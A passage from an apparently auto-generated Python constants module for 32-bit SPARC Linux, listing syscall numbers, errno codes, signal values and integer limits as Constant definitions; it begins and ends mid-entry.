Constant('__NR_dup2',90)\n__NR_fcntl = Constant('__NR_fcntl',92)\n__NR_select = Constant('__NR_select',93)\n__NR_fsync = Constant('__NR_fsync',95)\n__NR_setpriority = Constant('__NR_setpriority',96)\n__NR_socket = Constant('__NR_socket',97)\n__NR_connect = Constant('__NR_connect',98)\n__NR_accept = Constant('__NR_accept',99)\n__NR_getpriority = Constant('__NR_getpriority',100)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',101)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',102)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',103)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',104)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',105)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',106)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',107)\n__NR_setresuid = Constant('__NR_setresuid',108)\n__NR_getresuid = Constant('__NR_getresuid',109)\n__NR_setresgid = Constant('__NR_setresgid',110)\n__NR_getresgid = Constant('__NR_getresgid',111)\n__NR_recvmsg = Constant('__NR_recvmsg',113)\n__NR_sendmsg = Constant('__NR_sendmsg',114)\n__NR_gettimeofday = Constant('__NR_gettimeofday',116)\n__NR_getrusage = Constant('__NR_getrusage',117)\n__NR_getsockopt = Constant('__NR_getsockopt',118)\n__NR_getcwd = Constant('__NR_getcwd',119)\n__NR_readv = Constant('__NR_readv',120)\n__NR_writev = Constant('__NR_writev',121)\n__NR_settimeofday = Constant('__NR_settimeofday',122)\n__NR_fchown = Constant('__NR_fchown',123)\n__NR_fchmod = Constant('__NR_fchmod',124)\n__NR_recvfrom = Constant('__NR_recvfrom',125)\n__NR_setreuid = Constant('__NR_setreuid',126)\n__NR_setregid = Constant('__NR_setregid',127)\n__NR_rename = Constant('__NR_rename',128)\n__NR_truncate = Constant('__NR_truncate',129)\n__NR_ftruncate = Constant('__NR_ftruncate',130)\n__NR_flock = Constant('__NR_flock',131)\n__NR_sendto = Constant('__NR_sendto',133)\n__NR_shutdown = Constant('__NR_shutdown',134)\n__NR_socketpair = Constant('__NR_socketpair',135)\n__NR_mkdir = Constant('__NR_mkdir',136)\n__NR_rmdir = Constant('__NR_rmdir',137)\n__NR_utimes = Constant('__NR_utimes',138)\n__NR_sendfile64 = Constant('__NR_sendfile64',140)\n__NR_getpeername = Constant('__NR_getpeername',141)\n__NR_futex = Constant('__NR_futex',142)\n__NR_gettid = Constant('__NR_gettid',143)\n__NR_getrlimit = Constant('__NR_getrlimit',144)\n__NR_setrlimit = Constant('__NR_setrlimit',145)\n__NR_pivot_root = Constant('__NR_pivot_root',146)\n__NR_prctl = Constant('__NR_prctl',147)\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',148)\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',149)\n__NR_getsockname = Constant('__NR_getsockname',150)\n__NR_poll = Constant('__NR_poll',153)\n__NR_getdents64 = Constant('__NR_getdents64',154)\n__NR_statfs = Constant('__NR_statfs',157)\n__NR_fstatfs = Constant('__NR_fstatfs',158)\n__NR_umount = Constant('__NR_umount',159)\n__NR_sched_set_affinity = Constant('__NR_sched_set_affinity',160)\n__NR_sched_get_affinity = Constant('__NR_sched_get_affinity',161)\n__NR_getdomainname = Constant('__NR_getdomainname',162)\n__NR_setdomainname = Constant('__NR_setdomainname',163)\n__NR_utrap_install = Constant('__NR_utrap_install',164)\n__NR_quotactl = Constant('__NR_quotactl',165)\n__NR_set_tid_address = Constant('__NR_set_tid_address',166)\n__NR_mount = Constant('__NR_mount',167)\n__NR_ustat = Constant('__NR_ustat',168)\n__NR_setxattr = Constant('__NR_setxattr',169)\n__NR_lsetxattr = Constant('__NR_lsetxattr',170)\n__NR_fsetxattr = Constant('__NR_fsetxattr',171)\n__NR_getxattr = Constant('__NR_getxattr',172)\n__NR_lgetxattr = Constant('__NR_lgetxattr',173)\n__NR_getdents = Constant('__NR_getdents',174)\n__NR_setsid = Constant('__NR_setsid',175)\n__NR_fchdir = Constant('__NR_fchdir',176)\n__NR_fgetxattr = Constant('__NR_fgetxattr',177)\n__NR_listxattr = Constant('__NR_listxattr',178)\n__NR_llistxattr = Constant('__NR_llistxattr',179)\n__NR_flistxattr = Constant('__NR_flistxattr',180)\n__NR_removexattr = Constant('__NR_removexattr',181)\n__NR_lremovexattr = Constant('__NR_lremovexattr',182)\n__NR_sigpending = Constant('__NR_sigpending',183)\n__NR_query_module = Constant('__NR_query_module',184)\n__NR_setpgid = Constant('__NR_setpgid',185)\n__NR_fremovexattr = Constant('__NR_fremovexattr',186)\n__NR_tkill = Constant('__NR_tkill',187)\n__NR_exit_group = Constant('__NR_exit_group',188)\n__NR_uname = Constant('__NR_uname',189)\n__NR_init_module = Constant('__NR_init_module',190)\n__NR_personality = Constant('__NR_personality',191)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',192)\n__NR_epoll_create = Constant('__NR_epoll_create',193)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',194)\n__NR_epoll_wait = Constant('__NR_epoll_wait',195)\n__NR_getppid = Constant('__NR_getppid',197)\n__NR_sigaction = Constant('__NR_sigaction',198)\n__NR_sgetmask = Constant('__NR_sgetmask',199)\n__NR_ssetmask = Constant('__NR_ssetmask',200)\n__NR_sigsuspend = Constant('__NR_sigsuspend',201)\n__NR_oldlstat = Constant('__NR_oldlstat',202)\n__NR_uselib = Constant('__NR_uselib',203)\n__NR_readdir = Constant('__NR_readdir',204)\n__NR_readahead = Constant('__NR_readahead',205)\n__NR_socketcall = Constant('__NR_socketcall',206)\n__NR_syslog = Constant('__NR_syslog',207)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',208)\n__NR_fadvise64 = Constant('__NR_fadvise64',209)\n__NR_fadvise64_64 = Constant('__NR_fadvise64_64',210)\n__NR_tgkill = Constant('__NR_tgkill',211)\n__NR_waitpid = Constant('__NR_waitpid',212)\n__NR_swapoff = Constant('__NR_swapoff',213)\n__NR_sysinfo = Constant('__NR_sysinfo',214)\n__NR_ipc = Constant('__NR_ipc',215)\n__NR_sigreturn = Constant('__NR_sigreturn',216)\n__NR_clone = Constant('__NR_clone',217)\n__NR_adjtimex = Constant('__NR_adjtimex',219)\n__NR_sigprocmask = Constant('__NR_sigprocmask',220)\n__NR_create_module = Constant('__NR_create_module',221)\n__NR_delete_module = Constant('__NR_delete_module',222)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',223)\n__NR_getpgid = Constant('__NR_getpgid',224)\n__NR_bdflush = Constant('__NR_bdflush',225)\n__NR_sysfs = Constant('__NR_sysfs',226)\n__NR_afs_syscall = Constant('__NR_afs_syscall',227)\n__NR_setfsuid = Constant('__NR_setfsuid',228)\n__NR_setfsgid = Constant('__NR_setfsgid',229)\n__NR__newselect = Constant('__NR__newselect',230)\n__NR_stime = Constant('__NR_stime',233)\n__NR_statfs64 = Constant('__NR_statfs64',234)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',235)\n__NR__llseek = Constant('__NR__llseek',236)\n__NR_mlock = Constant('__NR_mlock',237)\n__NR_munlock = Constant('__NR_munlock',238)\n__NR_mlockall = Constant('__NR_mlockall',239)\n__NR_munlockall = Constant('__NR_munlockall',240)\n__NR_sched_setparam = Constant('__NR_sched_setparam',241)\n__NR_sched_getparam = Constant('__NR_sched_getparam',242)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',243)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',244)\n__NR_sched_yield = Constant('__NR_sched_yield',245)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',246)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',247)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',248)\n__NR_nanosleep = Constant('__NR_nanosleep',249)\n__NR_mremap = Constant('__NR_mremap',250)\n__NR__sysctl = Constant('__NR__sysctl',251)\n__NR_getsid = Constant('__NR_getsid',252)\n__NR_fdatasync = Constant('__NR_fdatasync',253)\n__NR_nfsservctl = Constant('__NR_nfsservctl',254)\n__NR_aplib = Constant('__NR_aplib',255)\n__NR_clock_settime = Constant('__NR_clock_settime',256)\n__NR_clock_gettime = Constant('__NR_clock_gettime',257)\n__NR_clock_getres = Constant('__NR_clock_getres',258)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',259)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',260)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',261)\n__NR_timer_settime = Constant('__NR_timer_settime',262)\n__NR_timer_gettime = Constant('__NR_timer_gettime',263)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',264)\n__NR_timer_delete = Constant('__NR_timer_delete',265)\n__NR_timer_create = Constant('__NR_timer_create',266)\n__NR_io_setup = Constant('__NR_io_setup',268)\n__NR_io_destroy = Constant('__NR_io_destroy',269)\n__NR_io_submit = Constant('__NR_io_submit',270)\n__NR_io_cancel = Constant('__NR_io_cancel',271)\n__NR_io_getevents = Constant('__NR_io_getevents',272)\n__NR_mq_open = Constant('__NR_mq_open',273)\n__NR_mq_unlink = Constant('__NR_mq_unlink',274)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',275)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',276)\n__NR_mq_notify = Constant('__NR_mq_notify',277)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',278)\n__NR_waitid = Constant('__NR_waitid',279)\n__NR_add_key = Constant('__NR_add_key',281)\n__NR_request_key = Constant('__NR_request_key',282)\n__NR_keyctl = Constant('__NR_keyctl',283)\n__NR_openat = Constant('__NR_openat',284)\n__NR_mkdirat = Constant('__NR_mkdirat',285)\n__NR_mknodat = Constant('__NR_mknodat',286)\n__NR_fchownat = Constant('__NR_fchownat',287)\n__NR_futimesat = Constant('__NR_futimesat',288)\n__NR_fstatat64 = Constant('__NR_fstatat64',289)\n__NR_unlinkat = Constant('__NR_unlinkat',290)\n__NR_renameat = Constant('__NR_renameat',291)\n__NR_linkat = Constant('__NR_linkat',292)\n__NR_symlinkat = Constant('__NR_symlinkat',293)\n__NR_readlinkat = Constant('__NR_readlinkat',294)\n__NR_fchmodat = Constant('__NR_fchmodat',295)\n__NR_faccessat = Constant('__NR_faccessat',296)\n__NR_pselect6 = Constant('__NR_pselect6',297)\n__NR_ppoll = Constant('__NR_ppoll',298)\n__NR_unshare = Constant('__NR_unshare',299)\n__NR_set_robust_list = Constant('__NR_set_robust_list',300)\n__NR_get_robust_list = Constant('__NR_get_robust_list',301)\n__NR_migrate_pages = Constant('__NR_migrate_pages',302)\n__NR_mbind = Constant('__NR_mbind',303)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',304)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',305)\n__NR_kexec_load = Constant('__NR_kexec_load',306)\n__NR_move_pages = Constant('__NR_move_pages',307)\n__NR_getcpu = Constant('__NR_getcpu',308)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',309)\n__NR_utimensat = Constant('__NR_utimensat',310)\n__NR_signalfd = Constant('__NR_signalfd',311)\n__NR_timerfd = Constant('__NR_timerfd',312)\n__NR_eventfd = Constant('__NR_eventfd',313)\n__NR_fallocate = Constant('__NR_fallocate',314)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',315)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',316)\n__NR_signalfd4 = Constant('__NR_signalfd4',317)\n__NR_eventfd2 = Constant('__NR_eventfd2',318)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',319)\n__NR_dup3 = Constant('__NR_dup3',320)\n__NR_pipe2 = Constant('__NR_pipe2',321)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',322)\n__NR_accept4 = Constant('__NR_accept4',323)\n__NR_preadv = Constant('__NR_preadv',324)\n__NR_pwritev = Constant('__NR_pwritev',325)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',326)\n__NR_perf_event_open = Constant('__NR_perf_event_open',327)\n__NR_recvmmsg = Constant('__NR_recvmmsg',328)\n__NR_fanotify_init = Constant('__NR_fanotify_init',329)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',330)\n__NR_prlimit64 = Constant('__NR_prlimit64',331)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',332)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',333)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',334)\n__NR_syncfs = Constant('__NR_syncfs',335)\n__NR_sendmmsg = Constant('__NR_sendmmsg',336)\n__NR_setns = Constant('__NR_setns',337)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',338)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',339)\n__NR_kern_features = Constant('__NR_kern_features',340)\n__NR_kcmp = Constant('__NR_kcmp',341)\n__NR_finit_module = Constant('__NR_finit_module',342)\n__NR_sched_setattr = Constant('__NR_sched_setattr',343)\n__NR_sched_getattr = Constant('__NR_sched_getattr',344)\n__NR_renameat2 = Constant('__NR_renameat2',345)\n__NR_seccomp = Constant('__NR_seccomp',346)\n__NR_getrandom = Constant('__NR_getrandom',347)\n__NR_memfd_create = Constant('__NR_memfd_create',348)\n__NR_bpf = Constant('__NR_bpf',349)\n__NR_execveat = Constant('__NR_execveat',350)\n__NR_membarrier = Constant('__NR_membarrier',351)\n__NR_userfaultfd = Constant('__NR_userfaultfd',352)\n__NR_bind = Constant('__NR_bind',353)\n__NR_listen = Constant('__NR_listen',354)\n__NR_setsockopt = Constant('__NR_setsockopt',355)\n__NR_mlock2 = Constant('__NR_mlock2',356)\n__NR_copy_file_range = Constant('__NR_copy_file_range',357)\n__NR_preadv2 = Constant('__NR_preadv2',358)\n__NR_pwritev2 = Constant('__NR_pwritev2',359)\n__NR_statx = Constant('__NR_statx',360)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',361)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',362)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',363)\n__NR_pkey_free = Constant('__NR_pkey_free',364)\n__NR_rseq = Constant('__NR_rseq',365)\n__NR_semtimedop = Constant('__NR_semtimedop',392)\n__NR_semget = Constant('__NR_semget',393)\n__NR_semctl = Constant('__NR_semctl',394)\n__NR_shmget = Constant('__NR_shmget',395)\n__NR_shmctl = Constant('__NR_shmctl',396)\n__NR_shmat = Constant('__NR_shmat',397)\n__NR_shmdt = Constant('__NR_shmdt',398)\n__NR_msgget = Constant('__NR_msgget',399)\n__NR_msgsnd = Constant('__NR_msgsnd',400)\n__NR_msgrcv = Constant('__NR_msgrcv',401)\n__NR_msgctl = Constant('__NR_msgctl',402)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nMC_TSTATE = Constant('MC_TSTATE',0)\nMC_PC = Constant('MC_PC',1)\nMC_NPC = Constant('MC_NPC',2)\nMC_Y = Constant('MC_Y',3)\nMC_G1 = Constant('MC_G1',4)\nMC_G2 = Constant('MC_G2',5)\nMC_G3 = Constant('MC_G3',6)\nMC_G4 = Constant('MC_G4',7)\nMC_G5 = Constant('MC_G5',8)\nMC_G6 = Constant('MC_G6',9)\nMC_G7 = Constant('MC_G7',10)\nMC_O0 = Constant('MC_O0',11)\nMC_O1 = Constant('MC_O1',12)\nMC_O2 = Constant('MC_O2',13)\nMC_O3 = Constant('MC_O3',14)\nMC_O4 = Constant('MC_O4',15)\nMC_O5 = Constant('MC_O5',16)\nMC_O6 = Constant('MC_O6',17)\nMC_O7 = Constant('MC_O7',18)\nMC_NGREG = Constant('MC_NGREG',19)\nMC_MAXFPQ = Constant('MC_MAXFPQ',16)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = 